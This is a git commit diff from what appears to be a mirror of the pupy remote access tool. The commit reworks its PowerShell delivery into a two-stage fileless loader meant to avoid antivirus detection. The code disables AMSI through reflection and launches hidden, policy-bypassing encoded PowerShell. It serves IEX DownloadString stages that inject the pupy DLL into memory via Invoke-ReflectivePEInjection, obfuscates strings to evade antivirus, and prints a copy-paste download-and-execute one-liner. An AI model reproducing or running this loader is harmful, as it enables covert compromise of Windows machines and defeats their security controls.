mirror of https://github.com/n1nj4sec/pupy.git
Avoid AV detection with ps1_oneliner (2 stages now)
This commit is contained in:
parent
732cf7b6b4
commit
1e74076749
|
@ -1,32 +1,50 @@
|
||||||
# -*- coding: UTF8 -*-
|
# -*- coding: UTF8 -*-
|
||||||
|
|
||||||
from rpyc.utils.classic import upload
|
from rpyc.utils.classic import upload
|
||||||
import base64, re, subprocess
|
import base64, re, subprocess
|
||||||
from subprocess import PIPE, Popen
|
from subprocess import PIPE, Popen
|
||||||
|
|
||||||
def execute_powershell_script(module, content, function, x64IfPossible=False):
|
def execute_powershell_script(module, content, function, x64IfPossible=False, script_name=None):
|
||||||
'''
|
'''
|
||||||
To get function output, Write-Output should be used (stdout output).
|
To get function output, Write-Output should be used (stdout output).
|
||||||
If you use Write-Verbose in your code for example, the output will be not captured because the output is not done over stdout (with Write-Verbose)
|
If you use Write-Verbose in your code for example, the output will be not captured because the output is not done over stdout (with Write-Verbose)
|
||||||
'''
|
'''
|
||||||
|
# content = re.sub("Write-Verbose ","Write-Output ", content, flags=re.I) # could break the output with mimikatz
|
||||||
|
content = re.sub("Write-Error ","Write-Output ", content, flags=re.I)
|
||||||
|
content = re.sub("Write-Warning ","Write-Output ", content, flags=re.I)
|
||||||
|
|
||||||
path="powershell.exe"
|
path="powershell.exe"
|
||||||
|
arch = 'x64'
|
||||||
if x64IfPossible:
|
if x64IfPossible:
|
||||||
if "64" in module.client.desc['os_arch'] and "32" in module.client.desc['proc_arch']:
|
if "64" in module.client.desc['os_arch'] and "32" in module.client.desc['proc_arch']:
|
||||||
path=r"C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe"
|
path=r"C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe"
|
||||||
|
elif "32" in module.client.desc['proc_arch']:
|
||||||
|
arch = 'x86'
|
||||||
|
|
||||||
fullargs=[path, "-C", "-"]
|
fullargs=[path, "-C", "-"]
|
||||||
|
|
||||||
p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True)
|
# create and store the powershell object if it not exists
|
||||||
p.stdin.write("$base64=\"\""+"\n")
|
if not module.client.powershell[arch]['object']:
|
||||||
n = 20000
|
p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True)
|
||||||
line = base64.b64encode(content)
|
module.client.powershell[arch]['object'] = p
|
||||||
tab = [line[i:i+n] for i in range(0, len(line), n)]
|
else:
|
||||||
for t in tab:
|
p = module.client.powershell[arch]['object']
|
||||||
p.stdin.write("$base64+=\"%s\"\n" % t)
|
|
||||||
p.stdin.flush()
|
|
||||||
|
|
||||||
p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
|
if script_name not in module.client.powershell[arch]['scripts_loaded']:
|
||||||
p.stdin.write("Invoke-Expression $d\n")
|
module.client.powershell[arch]['scripts_loaded'].append(script_name)
|
||||||
p.stdin.write("$a=Invoke-Expression \"%s\" | Format-Table -HideTableHeaders | Out-String\n" % function)
|
p.stdin.write("$base64=\"\""+"\n")
|
||||||
|
n = 20000
|
||||||
|
line = base64.b64encode(content)
|
||||||
|
tab = [line[i:i+n] for i in range(0, len(line), n)]
|
||||||
|
for t in tab:
|
||||||
|
p.stdin.write("$base64+=\"%s\"\n" % t)
|
||||||
|
p.stdin.flush()
|
||||||
|
|
||||||
|
p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
|
||||||
|
p.stdin.write("Invoke-Expression $d\n")
|
||||||
|
|
||||||
|
# else: the powershell script is already loaded, call the function wanted
|
||||||
|
|
||||||
|
p.stdin.write("\n$a=Invoke-Expression \"%s\" | Format-Table | Out-String\n" % function)
|
||||||
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
|
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
|
||||||
p.stdin.write("Write-Host $b\n")
|
p.stdin.write("Write-Host $b\n")
|
||||||
|
|
||||||
|
@ -35,7 +53,6 @@ def execute_powershell_script(module, content, function, x64IfPossible=False):
|
||||||
for i in p.stdout.readline():
|
for i in p.stdout.readline():
|
||||||
output += i
|
output += i
|
||||||
output = base64.b64decode(output)
|
output = base64.b64decode(output)
|
||||||
p.stdin.write("exit\n")
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
def remove_comments(string):
|
def remove_comments(string):
|
||||||
|
@ -68,3 +85,14 @@ def obfuscatePowershellScript(code):
|
||||||
if "function Invoke-ReflectivePEInjection" in newCode:
|
if "function Invoke-ReflectivePEInjection" in newCode:
|
||||||
newCode = newCode.replace("$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null", "$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIS'+'TICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null")
|
newCode = newCode.replace("$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null", "$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIS'+'TICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null")
|
||||||
return newCode
|
return newCode
|
||||||
|
|
||||||
|
def obfs_ps_script(script):
|
||||||
|
"""
|
||||||
|
Strip block comments, line comments, empty lines, verbose statements,
|
||||||
|
and debug statements from a PowerShell source file.
|
||||||
|
"""
|
||||||
|
# strip block comments
|
||||||
|
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
|
||||||
|
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||||
|
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
|
||||||
|
return strippedCode
|
||||||
|
|
|
@ -2,104 +2,113 @@
|
||||||
# -*- coding: UTF8 -*-
|
# -*- coding: UTF8 -*-
|
||||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||||
import os.path
|
import os.path
|
||||||
import base64
|
|
||||||
from pupylib.utils.term import colorize
|
from pupylib.utils.term import colorize
|
||||||
import textwrap
|
|
||||||
import random, string
|
import random, string
|
||||||
import time
|
from pupygen import get_edit_pupyx86_dll
|
||||||
from pupygen import get_edit_pupyx86_dll, get_edit_pupyx64_dll
|
|
||||||
try:
|
try:
|
||||||
import ConfigParser as configparser
|
import ConfigParser as configparser
|
||||||
except ImportError:
|
except ImportError:
|
||||||
import configparser
|
import configparser
|
||||||
from ssl import wrap_socket
|
from ssl import wrap_socket
|
||||||
|
from base64 import b64encode
|
||||||
|
import re
|
||||||
|
|
||||||
|
from modules.lib.windows.powershell_upload import obfuscatePowershellScript, obfs_ps_script
|
||||||
|
|
||||||
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
|
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
|
||||||
|
|
||||||
def pad(s):
|
#url_random_one = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
|
||||||
"""
|
#url_random_two = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
|
||||||
Performs PKCS#7 padding for 128 bit block size.
|
### url_random_one and url_random_two variables are fixed because if you break you ps1_neliner listener, the payload will be not be able to get stages -:(
|
||||||
"""
|
url_random_one = "eiloShaegae1"
|
||||||
return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16)
|
url_random_two = "IMo8oosieVai"
|
||||||
|
|
||||||
from Crypto.Cipher import AES
|
def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf):
|
||||||
def aes_encrypt(data, key):
|
'''
|
||||||
IV="\x00"*16
|
Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded
|
||||||
cipher = AES.new(key, AES.MODE_CBC, IV)
|
Ready for executing
|
||||||
return cipher.encrypt(pad(data))
|
'''
|
||||||
|
SPLIT_SIZE = 100000
|
||||||
|
x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", ""
|
||||||
|
code = """
|
||||||
|
$PEBytes = ""
|
||||||
|
{0}
|
||||||
|
$PEBytesTotal = [System.Convert]::FromBase64String({1})
|
||||||
|
Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
|
||||||
|
"""#{1}=x86dll
|
||||||
|
binaryX86=b64encode(get_edit_pupyx86_dll(payload_conf))
|
||||||
|
binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)]
|
||||||
|
for i,aPart in enumerate(binaryX86parts):
|
||||||
|
x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
|
||||||
|
x86ConcatCode += "$PEBytes{0}+".format(i)
|
||||||
|
print(colorize("[+] ","green")+"X86 pupy dll loaded and {0} variables generated".format(i+1))
|
||||||
|
script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read())
|
||||||
|
return obfs_ps_script("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1])))
|
||||||
|
|
||||||
|
def create_ps_command(ps_command, force_ps32=False, nothidden=False):
|
||||||
|
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||||
|
try{{
|
||||||
|
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
|
||||||
|
}}catch{{}}
|
||||||
|
{}
|
||||||
|
""".format(ps_command)
|
||||||
|
|
||||||
PS1_DECRYPT="""
|
if force_ps32:
|
||||||
[Reflection.Assembly]::LoadWithPartialName("System.Security")
|
command = """$command = '{}'
|
||||||
function AES-Decrypt($Encrypted, $Passphrase)
|
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
|
||||||
{
|
{{
|
||||||
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
|
||||||
$IV = New-Object Byte[] 16
|
$exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command
|
||||||
$AES.Mode="CBC"
|
IEX $exec
|
||||||
$AES.KeySize=128
|
}}
|
||||||
$AES.Key=[Text.Encoding]::ASCII.GetBytes($Passphrase)
|
else
|
||||||
$AES.IV = $IV
|
{{
|
||||||
$AES.Padding = "None"
|
$exec = [System.Convert]::FromBase64String($command)
|
||||||
$d = $AES.CreateDecryptor()
|
$exec = [Text.Encoding]::Unicode.GetString($exec)
|
||||||
$ms = new-Object IO.MemoryStream @(,$Encrypted)
|
IEX $exec
|
||||||
$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"
|
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
|
||||||
$count = $cs.Read($Encrypted, 0, $Encrypted.Length)
|
|
||||||
$cs.Close()
|
if nothidden is True:
|
||||||
$ms.Close()
|
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||||
$AES.Clear()
|
else:
|
||||||
$Encrypted[0..($Encrypted.Length - $Encrypted[-1] - 1)]
|
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||||
}
|
|
||||||
"""
|
elif not force_ps32:
|
||||||
|
if nothidden is True:
|
||||||
|
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||||
|
else:
|
||||||
|
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||||
|
|
||||||
|
return command
|
||||||
|
|
||||||
class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
|
class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
|
||||||
def do_GET(self):
|
def do_GET(self):
|
||||||
if self.path=="/p":
|
# print self.server.random_reflectivepeinj_name
|
||||||
|
if self.path=="/%s" % url_random_one:
|
||||||
self.send_response(200)
|
self.send_response(200)
|
||||||
self.send_header('Content-type','text/html')
|
self.send_header('Content-type','text/html')
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
pe_bootloader=PS1_DECRYPT+"\n"+(textwrap.dedent("""
|
|
||||||
$p="%s"
|
|
||||||
$rpi=(((New-Object System.Net.WebClient).DownloadData("http://%s:%s/rpi")))
|
|
||||||
$path="b64"
|
|
||||||
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"}
|
|
||||||
$raw=([Byte[]]((New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path)))
|
|
||||||
iex([System.Text.Encoding]::UTF8.GetString( (AES-Decrypt $rpi $p)))
|
|
||||||
Write-Output "DLL received"
|
|
||||||
$raw=AES-Decrypt $raw $p
|
|
||||||
Write-Output "Reflective DLL decrypted"
|
|
||||||
[GC]::Collect()
|
|
||||||
%s -ForceASLR -PEBytes $raw #-Verbose
|
|
||||||
"""%(self.server.aes_key, self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port, self.server.random_reflectivepeinj_name)))
|
|
||||||
self.wfile.write(pe_bootloader)
|
|
||||||
print colorize("[+] ","green")+" powershell script stage1 served !"
|
|
||||||
|
|
||||||
elif self.path=="/rpi":
|
launcher = """
|
||||||
#serve the powershell script
|
IEX (New-Object Net.WebClient).DownloadString('http://{server}:{port}/{url_random_two}');""".format(
|
||||||
|
server=self.server.link_ip,
|
||||||
|
port=self.server.link_port,
|
||||||
|
url_random_two=url_random_two
|
||||||
|
)
|
||||||
|
launcher = create_ps_command(launcher, force_ps32=True, nothidden=False)
|
||||||
|
self.wfile.write(launcher)
|
||||||
|
print colorize("[+] ","green")+"[Stage 1/2] Powershell script served !"
|
||||||
|
|
||||||
|
elif self.path=="/%s" % url_random_two:
|
||||||
self.send_response(200)
|
self.send_response(200)
|
||||||
#self.send_header('Content-type','text/html')
|
|
||||||
self.send_header('Content-type','application/octet-stream')
|
self.send_header('Content-type','application/octet-stream')
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()
|
code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()
|
||||||
code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o)
|
code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o)
|
||||||
d=aes_encrypt(code, self.server.aes_key)
|
self.wfile.write(getInvokeReflectivePEInjectionWithDLLEmbedded(self.server.payload_conf))
|
||||||
self.wfile.write(d)
|
print colorize("[+] ","green")+"[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!"
|
||||||
print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !"
|
print colorize("[+] ","green")+"You should have a pupy shell in few seconds from this host..."
|
||||||
elif self.path=="/b32":
|
|
||||||
#serve the pupy 32bits dll to load from memory
|
|
||||||
self.send_response(200)
|
|
||||||
self.send_header('Content-type','application/octet-stream')
|
|
||||||
self.end_headers()
|
|
||||||
print colorize("[+] ","green")+" generating x86 reflective dll ..."
|
|
||||||
self.wfile.write(aes_encrypt(get_edit_pupyx86_dll(self.server.payload_conf), self.server.aes_key))
|
|
||||||
print colorize("[+] ","green")+" pupy x86 reflective dll served !"
|
|
||||||
elif self.path=="/b64":
|
|
||||||
#serve the pupy 64bits dll to load from memory
|
|
||||||
self.send_response(200)
|
|
||||||
self.send_header('Content-type','application/octet-stream')
|
|
||||||
self.end_headers()
|
|
||||||
print colorize("[+] ","green")+" generating amd64 reflective dll ..."
|
|
||||||
self.wfile.write(aes_encrypt(get_edit_pupyx64_dll(self.server.payload_conf), self.server.aes_key))
|
|
||||||
print colorize("[+] ","green")+" pupy amd64 reflective dll served !"
|
|
||||||
else:
|
else:
|
||||||
self.send_response(404)
|
self.send_response(404)
|
||||||
self.end_headers()
|
self.end_headers()
|
||||||
|
@ -134,7 +143,9 @@ def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", ssl=Fa
|
||||||
raise
|
raise
|
||||||
print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :"
|
print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :"
|
||||||
print " --- "
|
print " --- "
|
||||||
oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/p')\""%(link_ip, port), "green")
|
oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/%s')\""%(link_ip, port, url_random_one), "green")
|
||||||
|
# This line could work check when proxy is used (have to be tested)
|
||||||
|
# oneliner=colorize("powershell.exe -w hidden -noni -nop -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://%s:%s/pa')"%(link_ip, port), "green")
|
||||||
print oneliner
|
print oneliner
|
||||||
print " --- "
|
print " --- "
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue